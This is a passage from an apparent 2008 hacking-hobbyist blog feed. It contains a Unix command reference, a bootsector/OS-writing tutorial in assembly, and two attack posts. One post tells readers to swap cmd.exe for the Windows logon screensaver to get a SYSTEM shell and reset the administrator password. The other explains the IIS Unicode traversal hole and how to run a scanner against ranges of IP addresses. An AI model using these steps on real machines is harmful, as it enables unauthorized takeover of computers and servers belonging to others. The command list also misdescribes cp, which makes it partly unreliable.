href='http://www.blogger.com/feeds/9075231620953005452/posts/default/1399105473775048455'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/ssh-tutorial.html' title='SSH Tutorial'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-8640891448975685475</id><published>2008-12-20T03:51:00.001+07:00</published><updated>2008-12-20T03:51:48.866+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>Official Unix Command List</title><content type='html'>Commands UNIX based&lt;br /&gt;___________________&lt;br /&gt;&lt;br /&gt;(cd)  % cd [dir]&lt;br /&gt;&lt;br /&gt;The cd command changes your current working directory to the directory you specify.&lt;br /&gt;&lt;br /&gt;DOS Equivalent: cd  &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(Ls)  % Ls [dir]&lt;br /&gt;&lt;br /&gt;The Ls command lists the files and subdirectories in the directory you specify. If not directory is specified, &lt;br /&gt;a list of the files and subdirectories in the current working directory is displayed. &lt;br /&gt;&lt;br /&gt;You can add some additional arguments to customize the list display.&lt;div class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;% Ls -f &lt;br /&gt;&lt;br /&gt;Will append a forward slash to the subdirectory names so you can easily distinguish them from&lt;br /&gt;file names.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;% Ls -a&lt;br /&gt;&lt;br /&gt;Will show all "hidden files". Hidden files begin with a ".", i.e. ".htaccess" files.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;% Ls -l&lt;br /&gt;&lt;br /&gt;Will show detailed information about each file and directory, including permissions, ownership,&lt;br /&gt;file size, and when the file was last modified.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;% Ls -al&lt;br /&gt;&lt;br /&gt;Will show a list of all file names (including hidden files and a forward slash will be appended to directory names.&lt;br /&gt;&lt;br /&gt;DOS Equivalent: dir&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(cat)  % cat [file] &lt;br /&gt;&lt;br /&gt;Displays the contents of the filename you specify. If you want to display the file one screen&lt;br /&gt;at a time try "cat [file] | more" or simply "more [file]" &lt;br /&gt;&lt;br /&gt;DOS Equivalent: type &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(mkdir)  % mkdir [dir]&lt;br /&gt;&lt;br /&gt;The mkdir command makes a new directory with the name, directory, that you specify.&lt;br /&gt;Simply type "mkdir [dir]" and hit return. &lt;br /&gt;&lt;br /&gt;DOS Equivalent: md or mkdir&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(rmdir)  % rmdir [dir] &lt;br /&gt;&lt;br /&gt;The rmdir command removes the directory that you specify. Simply type "rmdir [dir]" and hit&lt;br /&gt;return.&lt;br /&gt;&lt;br /&gt;DOS Equivalent: rd or rmdir&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(cp)  % cp [from] [to] &lt;br /&gt;&lt;br /&gt;The MV command renames a file or moves it to a new location. Simply type "MV [from] [to]" &lt;br /&gt;and hit return. You can specify pathnames as part of the file specification. If target-file &lt;br /&gt;exists then it is overwritten.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(MV)  % MV [from] [to]&lt;br /&gt;&lt;br /&gt;The MV command renames a file or moves it to a new location. Simply type "MV [from] [to]" &lt;br /&gt;and hit return. You can specify pathnames as part of the file specification. If target-file&lt;br /&gt;exists then it is overwritten. &lt;br /&gt;&lt;br /&gt;DOS Equivalent: rename &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(rm)  % rm [file] or rm -f [file]&lt;br /&gt;&lt;br /&gt;The rm command deletes (removes) a file. Simply type "rm [file]" and hit return. You can &lt;br /&gt;specify pathnames as part of the file specification. &lt;br /&gt;&lt;br /&gt;DOS Equivalent: del &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(grep)  % grep [pattern] [files]  &lt;br /&gt;&lt;br /&gt;The grep command finds lines in files that match specified text patterns. Simply type &lt;br /&gt;"grep [pattern] [files]" and hit return. You can specify pathnames as part of the file &lt;br /&gt;specification. For example if you want to search for a patter "gif" in all html files in &lt;br /&gt;your current working directory, you would type "grep gif *.html" and hit return. The grep &lt;br /&gt;command would then list all occurrences of "gif" it finds in .html files in the current&lt;br /&gt;working directory. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(tar)  % tar [options] [tarfile] [files]&lt;br /&gt;&lt;br /&gt;The tar command copies a file or files to or from an archive. To put all the files in a &lt;br /&gt;directory into one tar format file, simply type "tar cvf tarfile directory" at a Telnet &lt;br /&gt;command prompt and replace tarfile with the name you want to call your archived file, and&lt;br /&gt;replace directory with the name of the directory that contains the files you want to tar. &lt;br /&gt;To extract the files from a tar format archive, simply type "tar -xvf [tarfile]" at a Telnet &lt;br /&gt;command prompt and replace tarfile with the name of the archived file you are extracting. &lt;br /&gt;&lt;br /&gt;For example, you could type "tar cvf pages.tar htdocs" at a Telnet command prompt to &lt;br /&gt;archive the files in the htdocs directory to a tar format file called pages.tar. &lt;br /&gt;&lt;br /&gt;To view the contents of the pages.tar tarfile without extracting them, type "tar tvf pages.tar".&lt;br /&gt;This will display all files that are included in the tar archive. &lt;br /&gt;&lt;br /&gt;You could also type "tar xvf pages.tar" at a Telnet command prompt to extract into the &lt;br /&gt;current directory the files in the archive pages.tar.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(zip) % zip [options] [zipfile] [files] &lt;br /&gt;&lt;br /&gt;The zip command compresses a file or list of files into a zip format archive file. This &lt;br /&gt;command is compatible with pkzip on a PC. Simply type "zip [zipfile] [file1] [file2] [file3]&lt;br /&gt;"at a Telnet command prompt and replace zipfile with the name you want to use for your compressed&lt;br /&gt;zip archive file, and replace fileX with the name of the file(s) you want to compress into the&lt;br /&gt;zip archive. &lt;br /&gt;&lt;br /&gt;DOS Equivalent: pkzip &lt;br /&gt;&lt;br /&gt;NOT AVAILABLE FOR SOLARIS&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(unzip)  % unzip [options] [zipfile] &lt;br /&gt;&lt;br /&gt;The unzip command extracts a zip format archive file. This command is compatible with &lt;br /&gt;pkunzip files from a PC. Simply type "unzip zipfile" at a Telnet command prompt and replace &lt;br /&gt;zipfile with the name of your zip format archive file.&lt;br /&gt;&lt;br /&gt;DOS Equivalent: pkunzip &lt;br /&gt;&lt;br /&gt;NOT AVAILABLE FOR SOLARIS&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(compress)  % compress [files]&lt;br /&gt;&lt;br /&gt;The compress command shrinks a file or files into compressed versions to save space on your Virtual&lt;br /&gt;Server. This command is good for you to use on your log files when they get very large. &lt;br /&gt;Simply type "compress [filename(s)]" at a Telnet command prompt and replace filename(s) &lt;br /&gt;with the name of your files you want to compress. For example, type "compress access_log agent_log"&lt;br /&gt;at a Telnet command prompt to compress the access_log and agent_log files. The compressed &lt;br /&gt;files will then be access_log.Z and agent_log.Z.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(uncompress)  % uncompress [files]  &lt;br /&gt;&lt;br /&gt;The uncompress command expands a compressed file or set of compressed files. Simply type &lt;br /&gt;"uncompress [file(s)]" and hit return. &lt;br /&gt;&lt;br /&gt;IG's Official Unix Command List&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-8640891448975685475?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/8640891448975685475/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/official-unix-command-list.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/8640891448975685475'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/8640891448975685475'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/official-unix-command-list.html' title='Official Unix Command List'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-7071264065167441465</id><published>2008-12-20T03:50:00.001+07:00</published><updated>2008-12-20T03:50:37.918+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>Web Server Holes (Unicode)</title><content type='html'>There is a lot of servers that are using IIS (Web server software from Micro$oft). This Web &lt;br /&gt;server, (like all software) have hole, that can be used to gain access to the system. Gain &lt;br /&gt;access mean you can errase, modify, create, files on it. The most famous and used exploit &lt;br /&gt;on IIS is the 'UNICODE HOLE'.&lt;br /&gt;&lt;div class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;By default, IIS check the URL you ask and see if there is a ..\.. in it. If it find it, it's &lt;br /&gt;mean that someone try to acces up directory. It is possible, but normaly you can't acces up &lt;br /&gt;to the root of the defined public web acces directory. So IIS will stop you if you try for &lt;br /&gt;example : &lt;br /&gt;HTTP://www.server.com/../../../file.txt&lt;br /&gt;&lt;br /&gt;The Tricks is to code the / or \ with it's UNICODE value, with this, IIS won't see it, and &lt;br /&gt;will let you go up the root web directory.&lt;br /&gt;&lt;br /&gt;Here you can Find the Official "U.W.D" UNICODE SCANNER &lt;br /&gt;&lt;br /&gt;Step ONE&lt;br /&gt;Download it ;)&lt;br /&gt;&lt;br /&gt;Step TWO&lt;br /&gt;- Run a DOS Command window - Go to the directory you downloaded it - &lt;br /&gt;&lt;br /&gt;STEP THREE&lt;br /&gt;C:\&gt; uwd.exe startip endip your_nick&lt;br /&gt;E.G : C:\&gt; uwd.exe 127.0.0.1 127.0.0.255 AloneTrio&lt;br /&gt;&lt;br /&gt;Doing this, the UWD scanner will try the unicode 'Tricks' on all server between Startip and &lt;br /&gt;Endip. It create a report file called uwd.txt in the same directory.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-7071264065167441465?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/7071264065167441465/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/web-server-holes-unicode.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/7071264065167441465'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/7071264065167441465'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/web-server-holes-unicode.html' title='Web Server Holes (Unicode)'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-6282846600026337536</id><published>2008-12-20T03:49:00.001+07:00</published><updated>2008-12-20T03:49:52.273+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tips and trick'/><title type='text'>Admin Access in a locked Environment!!!</title><content type='html'>This is straight for a brain child. It makes so much sense that no one ever thought &lt;br /&gt;to do it.&lt;br /&gt;Enjoy. Also beware to change what you have done. Or any machine that you did the &lt;br /&gt;hack on will&lt;br /&gt;show what you did when the screen saver comes up. The only hard part is finding your &lt;br /&gt;way to C:\prompt or ms-dos. So begin.&lt;br /&gt;&lt;div class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;If you can log in as an account , drop to DOS start -&gt; run -&gt; cmd, at the C: prompt &lt;br /&gt;type the following (assuming default install locations) &lt;br /&gt;&lt;br /&gt;C:\&gt; cd \winnt\system32 &lt;br /&gt;C:\winnt\system32&gt; copy logon.scr logon.scr.old &lt;br /&gt;C:\winnt\system32&gt; del logon.scr &lt;br /&gt;C:\winnt\system32&gt; copy cmd.exe logon.scr &lt;br /&gt;&lt;br /&gt;Now log off the machine, logon.scr is the screen saver that will kick in after 15 &lt;br /&gt;minutes of not touching the keyboard/mouse at the logon screen. Wait 15-20 minutes &lt;br /&gt;and a DOS prompt with FULL SYSTEM rights will pop up, then just to &lt;br /&gt;C:\&gt; net user administrator &lt;newpassword&gt; &lt;br /&gt;and then log in with the new account. &lt;br /&gt;&lt;br /&gt;Try this, might work, as long as he didn't change default permissions on C:\winnt &lt;br /&gt;and C:\winnt\system32 you should be golden. &lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-6282846600026337536?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/6282846600026337536/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/admin-access-in-locked-environment.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/6282846600026337536'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/6282846600026337536'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/admin-access-in-locked-environment.html' title='Admin Access in a locked Environment!!!'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-2277307616818829947</id><published>2008-12-20T03:47:00.000+07:00</published><updated>2008-12-20T03:48:23.930+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>Writing Your Own OperatingSystem</title><content type='html'>How to write an operating system&lt;br /&gt;Writing an operating system is something that can not only be interesting (if you're one of those &lt;br /&gt;people that get turned on by Int 13....) but it is also a great learning experience. Through creating &lt;br /&gt;your own operating system you will learn exactly what goes on behind the scenes, elevating you above &lt;br /&gt;the average programmer that just writes in Visual Basic.&lt;div class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;In this tutorial you will be tought by examples, and by the end you should have created your own operating system.&lt;br /&gt;&lt;br /&gt;Tools:&lt;br /&gt;EasyOs easyos.zip 300kb&lt;br /&gt;EasyOS is a very simple operating system, it contains all the tools needed to build an operating system. &lt;br /&gt;(Not written by me, although I did add bits to it and mess it up a bit)&lt;br /&gt;&lt;br /&gt;A quick explanation of assembly: (see here for a good tutorial)&lt;br /&gt;&lt;br /&gt;si and ah Think of si as something to put text into, and ah as something to put numbers into.&lt;br /&gt;mov This (mov)es data. mov ah,0 would move 0 into ah. (The data on the right is moved into the left)&lt;br /&gt;Int Think of these as functions. Different int's do different things when ah is different. Ahem. Eg. &lt;br /&gt;when ah = 0 and you call int 10 it prints si to the screen.&lt;br /&gt;Stuff To put words and stuff in your program you can't just do mov si,'some words' (well, you can but &lt;br /&gt;you wont like the resutls) so instead you have to declare the words first. You do this by putting the &lt;br /&gt;name of what you want the words to be called by, then the data type (nearly always db) then the words themselves. Eg:&lt;br /&gt;name db 'some words'&lt;br /&gt;Jump To give sections of code a label, just type the label and add a : at the end, eg code: . &lt;br /&gt;You can then use jmp to jump to it, eg jmp code If To do an if in assembly you use cmp, eg &lt;br /&gt;cmp al,0 (if al=0). On the next line you then put je code, and if al=0 then the program jumps to&lt;br /&gt; the section of code called code. If you use jne code, then if al is not 0 the program will jump to code. &lt;br /&gt;The stack The stack is where stuff is stored. push pushes stuff into it, pop pulls stuff out. &lt;br /&gt;The following example would put cx into dx:&lt;br /&gt;push cx pop dx&lt;br /&gt;&lt;br /&gt;Now you know everything there is to know about assembly, you can now understand most of the program that &lt;br /&gt;boot's EasyOs. Drives (hard drives and floppy's) are split into lots of bits, all 512 bytes long &lt;br /&gt;(enough to fit 512 letters in). These are calle sectors. The first sector is what the computer looks &lt;br /&gt;for when it boots. It is called the bootsector.&lt;br /&gt;Open the folder src and then open boot.asm. Or if you are lazy, just look at the code below (its the same). &lt;br /&gt;; This is a comment&lt;br /&gt;[ORG 0x7C00] ;This just tells the program where it is in the memory. Not important&lt;br /&gt;[BITS 16] ;Not important too.&lt;br /&gt;&lt;br /&gt;jmp start  ; Jump over BIOS parameter block&lt;br /&gt;&lt;br /&gt;start: ;The label for the start of the actual program&lt;br /&gt;&lt;br /&gt;push cs ;Put cs onto the stack&lt;br /&gt;pop ds ;Take it out and put it into ds&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;mov si,Print_loading     ;Print loading message&lt;br /&gt;call printstring   ;Call is like jump, but it goes back. Like a function&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;       ;The complicated bit: Loads the next program&lt;br /&gt;mov ah,02h               ;When ah=, int13 reads a disk sector&lt;br /&gt;mov al,4      ;Al is how many sectors to read&lt;br /&gt;mov ch,0      ;The track to read from&lt;br /&gt;mov cl,2      ;Sector Id&lt;br /&gt;mov dh,0      ;Head&lt;br /&gt;mov dl,0      ;Drive (0 is floppy)&lt;br /&gt;mov bx,0x1000    ;Es and Bx put together are where to load the program too (see jmp 0x1000:0x00)&lt;br /&gt;mov es,bx&lt;br /&gt;mov bx,0x00&lt;br /&gt;int 13h     ;Int 13 is all functions for disks&lt;br /&gt;&lt;br /&gt;mov si,putdot           ;Print a ".".&lt;br /&gt;call printstring&lt;br /&gt;&lt;br /&gt;jmp 0x1000:0x00         ;Run Bootinit from stack.&lt;br /&gt;&lt;br /&gt;printstring:            ;Print string routine.&lt;br /&gt;mov ah,0eh    ;Mov ah into 0, so int 10 prints&lt;br /&gt;stringloop:    ;The following code loads each seperate charcter so it can be printed&lt;br /&gt;lodsb&lt;br /&gt;cmp al,00    ;If al =0, then the string has all been loaded&lt;br /&gt;je endstring&lt;br /&gt;int 10h     ;When int 10 is called, and ah=, it prints&lt;br /&gt;jmp stringloop&lt;br /&gt;endstring:&lt;br /&gt;ret      ;Ret returns&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;putdot        db '.',0&lt;br /&gt;Print_loading db 13,10,'Loading Easy OS v0.01a...',0&lt;br /&gt;times 425 db 0 ;wastes 425 bytes on purpose, so the sector is full (The program must be 512 bytes long)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You may have noticed that numbers, like int 10h, end in h. They don't have to, it just looks funky (there is a real reason, but it's boring).&lt;br /&gt;Anyway, now copy the program called copyboot in the folder called utils to the folder with test.asm in. Open the dos prompt and type: (Make sure a blank floppy is inserted)&lt;br /&gt;copyboot test.com 0&lt;br /&gt;copyboot is the name of the program, test.com the name of the file to copy, and 0 is the sector.&lt;br /&gt;In the program above all it does is print a string then load whats at sector 1. The program that easyos loads under the src folder called bootinit. If you assemble it with nasm, then copy it to sector 1 and restart, the bootsector will load it.&lt;br /&gt;There isn't much more to be learnt from EasyOs, so run either setup.exe or make.bat to build the whole thing. The difference is setup.exe lets you setup a root password for EasyOs. If you just run make.bat the passwords is the default password: monty (named after my psychotic dog).&lt;br /&gt;Now restart and be amazed. Wow. Pretty crappy, but it isn't that bad.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Fat 12&lt;br /&gt;No, its not a fat people supprt group but a file system. If you try and access the floppy disk Windows will say it need s to be formatted. Formatted? You ask. Formatting is basically organising the sectors so you can give them names. Underneath Windows and Fat, you are still just accessing sectors. I won't go into Fat here, check out http://www.maverick.subnet.dk/ for some info. Anyway, the bootsector needs to have some information in it that when Windows reads it it tells it it is fat. The following BootSector was disgustingly ripped by me of NYAOS (I have no idea what i stands for). With your A* qualification in assembly language you can no doubt understand it.&lt;br /&gt;; NYAOS Boot Sector (C) Copyright Sean Tash 1998&lt;br /&gt;; assemble with:&lt;br /&gt;; nasm -f bin -o bootsect.bin bootsect.asm&lt;br /&gt;            bits 16&lt;br /&gt;            org 0x7C00&lt;br /&gt;&lt;br /&gt;start:      jmp short begin&lt;br /&gt;            nop&lt;br /&gt;bsOEM       db "NYAOS1.0"               ; OEM String&lt;br /&gt;bsSectSize  dw 512                      ; Bytes per sector&lt;br /&gt;bsClustSize db 1                        ; Sectors per cluster&lt;br /&gt;bsRessect   dw 1                        ; # of reserved sectors&lt;br /&gt;bsFatCnt    db 2                        ; # of fat copies&lt;br /&gt;bsRootSize  dw 224                      ; size of root directory&lt;br /&gt;bsTotalSect dw 2880                     ; total # of sectors if &lt; 32 meg&lt;br /&gt;bsMedia     db 0xF0                     ; Media Descriptor&lt;br /&gt;bsFatSize   dw 9                        ; Size of each FAT&lt;br /&gt;bsTrackSect dw 18                       ; Sectors per track&lt;br /&gt;bsHeadCnt   dw 2                        ; number of read-write heads&lt;br /&gt;bsHidenSect dd 0                        ; number of hidden sectors&lt;br /&gt;bsHugeSect  dd 0                        ; if bsTotalSect is 0 this value is&lt;br /&gt;                                        ; the number of sectors&lt;br /&gt;bsBootDrv   db 0                        ; holds drive that the bs came from&lt;br /&gt;bsReserv    db 0                        ; not used for anything&lt;br /&gt;bsBootSign  db 29h                      ; boot signature 29h&lt;br /&gt;bsVolID     dd 0                        ; Disk volume ID also used for temp&lt;br /&gt;                                        ; sector # / # sectors to load&lt;br /&gt;bsVoLabel   db "NO NAME    "            ; Volume Label&lt;br /&gt;bsFSType    db "FAT12   "               ; File System type&lt;br /&gt;&lt;br /&gt;begin:      cli                         ; disable interrupts&lt;br /&gt;            mov [bsBootDrv],dl          ; save drive number&lt;br /&gt;            mov ax,0x9000               ; put stack at 0x98000&lt;br /&gt;            mov ss,ax&lt;br /&gt;            mov sp,0x8000&lt;br /&gt;&lt;br /&gt;            mov cx,[bsTrackSect]        ; update int 1E FDC param table&lt;br /&gt;            mov bx,0x0078&lt;br /&gt;            lds si,[ds:bx]&lt;br /&gt;            mov byte [si+4], cl&lt;br /&gt;            mov byte [si+9], 0x0F&lt;br /&gt;&lt;br /&gt;            sti                         ; enable interrupts&lt;br /&gt;            push ds&lt;br /&gt;            mov dl,[bsBootDrv]          ; reset controller&lt;br /&gt;            xor ax,ax&lt;br /&gt;            int 0x13&lt;br /&gt;            pop ds&lt;br /&gt;            jc bootfail2                ; display error message&lt;br /&gt;            jmp _l1&lt;br /&gt;bootfail2:  jmp bootfail&lt;br /&gt;_l1:&lt;br /&gt;            mov ax,0x0000&lt;br /&gt;            mov es,ax&lt;br /&gt;            mov ds,ax&lt;br /&gt;&lt;br /&gt;            mov si,MsgLoad              ; display load message&lt;br /&gt;            call putstr&lt;br /&gt;&lt;br /&gt;            ; find the root directory&lt;br /&gt;&lt;br /&gt;            xor ax,ax&lt;br /&gt;            mov al,[bsFatCnt]&lt;br /&gt;            mov bx,[bsFatSize]&lt;br /&gt;            mul bx&lt;br /&gt;            add ax,word [bsHidenSect]&lt;br /&gt;            adc ax,word [bsHidenSect+2]&lt;br /&gt;            add ax,word [bsRessect]     ; ax holds root directory location&lt;br /&gt;            mov word [BootSig],ax&lt;br /&gt;&lt;br /&gt;            call checkroot&lt;br /&gt;&lt;br /&gt;            xor ax,ax&lt;br /&gt;            add ax,word [start]&lt;br /&gt;            add ax,word [bsVolID]       ; sector number&lt;br /&gt;            add ax,word [BootSig]&lt;br /&gt;            sub ax,2                    ; correction for a mis-calc&lt;br /&gt;            mov cx,word [bsVolID+2]     ; number of sectors&lt;br /&gt;&lt;br /&gt;            mov bx,0x8000&lt;br /&gt;            mov es,bx&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;nextsector: push ax                     ; save registers&lt;br /&gt;            push cx&lt;br /&gt;            push dx&lt;br /&gt;            push es&lt;br /&gt;&lt;br /&gt;            xor bx,bx                   ; set zero offset&lt;br /&gt;            call readsect               ; read a sector&lt;br /&gt;&lt;br /&gt;            mov si,MsgDot               ; display a dot&lt;br /&gt;            call putstr&lt;br /&gt;&lt;br /&gt;            pop es                      ; restore registers&lt;br /&gt;            pop dx&lt;br /&gt;            pop cx&lt;br /&gt;            pop ax&lt;br /&gt;            mov bx,es&lt;br /&gt;            add bx,20h                  ; increment address 512 bytes&lt;br /&gt;            mov es,bx&lt;br /&gt;            inc ax                      ; read next sector&lt;br /&gt;            loopnz nextsector&lt;br /&gt;&lt;br /&gt;            mov ax,0x8000               ; set segment registers and jump&lt;br /&gt;            mov es,ax&lt;br /&gt;            mov ds,ax&lt;br /&gt;            push ax&lt;br /&gt;            mov ax,0&lt;br /&gt;            push ax&lt;br /&gt;            retf&lt;br /&gt;&lt;br /&gt;checkroot:&lt;br /&gt;            push ax                     ; save registers&lt;br /&gt;            push bx&lt;br /&gt;            push cx&lt;br /&gt;            push dx&lt;br /&gt;            push si&lt;br /&gt;            push di&lt;br /&gt;&lt;br /&gt;            mov ax,0x8000               ; put root directory at 0x80000&lt;br /&gt;            mov es,ax&lt;br /&gt;            mov ax,32                   ; AX = ((32*RootSize)/512) + 2&lt;br /&gt;            mul word [bsRootSize]&lt;br /&gt;            div word [bsSectSize]&lt;br /&gt;            mov cx,ax                   ; cx holds # of sectors in root&lt;br /&gt;            mov word [start],ax&lt;br /&gt;            mov ax,word [BootSig]       ; get prev. saved loc. for root dir&lt;br /&gt;&lt;br /&gt;r1:         xor bx,bx&lt;br /&gt;            push cx                     ; save count&lt;br /&gt;            push ax                     ; save sector number&lt;br /&gt;            push es&lt;br /&gt;            push dx&lt;br /&gt;            call readsect&lt;br /&gt;            xor bx,bx&lt;br /&gt;l_1:        mov di,bx                   ; set address to check from&lt;br /&gt;            mov cx,11                   ; check 11 bytes&lt;br /&gt;            mov si,FileName             ; address of string to check with&lt;br /&gt;            repz cmpsb&lt;br /&gt;            je foundit&lt;br /&gt;            add bx,32                   ; check next entry&lt;br /&gt;            cmp bx,[bsSectSize]         ; end of sector?&lt;br /&gt;            je l_2&lt;br /&gt;            jmp l_1&lt;br /&gt;l_2:        pop dx                      ; restore registers&lt;br /&gt;            pop es&lt;br /&gt;            pop ax&lt;br /&gt;            pop cx&lt;br /&gt;            inc ax                      ; read next sector&lt;br /&gt;            loopnz r1&lt;br /&gt;            jmp bootfail&lt;br /&gt;foundit:    pop dx                      ; get these off the stack&lt;br /&gt;            pop es&lt;br /&gt;            pop ax&lt;br /&gt;            pop cx&lt;br /&gt;&lt;br /&gt;            mov di,0x1A                 ; get clustor #&lt;br /&gt;            add di,bx&lt;br /&gt;            push bx                     ; save bx for finding # of sectors&lt;br /&gt;            mov ax,[es:di]&lt;br /&gt;            xor bx,bx                   ; calculate sector #&lt;br /&gt;            mov bl,[bsClustSize]&lt;br /&gt;            mul bx                      ; ax holds sector #&lt;br /&gt;            mov word [bsVolID],ax&lt;br /&gt;&lt;br /&gt;            pop bx                      ; get location of directory entry&lt;br /&gt;            mov di,0x1C&lt;br /&gt;            add di,bx&lt;br /&gt;            mov ax,[es:di]              ; put number of bytes in ax&lt;br /&gt;            xor dx,dx&lt;br /&gt;            mov bx,[bsClustSize]        ; # of bytes / 512&lt;br /&gt;            div bx&lt;br /&gt;            inc ax&lt;br /&gt;            mov word [bsVolID+2],ax     ; save number of sectors to load&lt;br /&gt;&lt;br /&gt;            pop di                      ; restore registers&lt;br /&gt;            pop si&lt;br /&gt;            pop dx&lt;br /&gt;            pop cx&lt;br /&gt;            pop bx&lt;br /&gt;            pop ax&lt;br /&gt;&lt;br /&gt;            ret                         ; return to caller&lt;br /&gt;&lt;br /&gt;putstr:     ; SI = address of string to display&lt;br /&gt;            lodsb&lt;br /&gt;            or al,al&lt;br /&gt;            jz short putstrd&lt;br /&gt;            mov ah,0x0E&lt;br /&gt;            mov bx,0x0007&lt;br /&gt;            int 0x10&lt;br /&gt;            jmp putstr&lt;br /&gt;putstrd:    retn                        ; return to caller&lt;br /&gt;&lt;br /&gt;bootfail:   ; display failure message&lt;br /&gt;            mov si,MsgBad               ; display error message&lt;br /&gt;            call putstr&lt;br /&gt;            xor ax,ax                   ; wait for keypress&lt;br /&gt;            int 0x16&lt;br /&gt;            int 0x19                    ; reboot&lt;br /&gt;&lt;br /&gt;readsect:   ; ES:BX = Location ; AX = Sector&lt;br /&gt;            mov si,[bsTrackSect]&lt;br /&gt;            div si                      ; divide logical sect by track size&lt;br /&gt;            inc dl                      ; sector # begins at 1&lt;br /&gt;            mov [bsReserv],dl           ; sector to read&lt;br /&gt;            xor dx,dx                   ; logical track left in ax&lt;br /&gt;            div word [bsHeadCnt]        ; leaves head in dl, cyl in ax&lt;br /&gt;            mov dh, [bsBootDrv]         ;&lt;br /&gt;            xchg dl,dh                  ; head to dh, drive to dl&lt;br /&gt;            mov cx,ax                   ; cyl to cx&lt;br /&gt;            xchg cl,ch                  ; low 8 bits of cyl to ch, hi 2 bits&lt;br /&gt;            shl cl,6                    ; shifted 